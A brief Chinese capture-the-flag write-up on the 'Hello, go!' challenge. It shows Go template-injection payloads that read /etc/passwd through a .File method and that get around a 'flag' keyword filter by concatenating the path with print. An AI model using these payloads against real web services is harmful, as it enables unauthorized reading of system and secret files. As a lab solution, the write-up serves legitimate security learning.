99 words
1 minute
Hello, go!

Hello, go!#

題目連結

先確認一下有沒有模板注入

/?name={{.}}

查了一下關於 go 的 ssti

Exploring ways to exploit SSTI in Go Frameworks

在上面看到用 echo 的方式讀取 /etc/passwd 的內容

/?name={{ .File "/etc/passwd" }}

成功讀到 /etc/passwd

echo passwd

因為原始碼裡面有 name 不能包含 flag 的字串,所以試試用拼接的方式

/?name={{.File (print "/" "f" "l" "ag")}}

成功讀到 flag

flag

end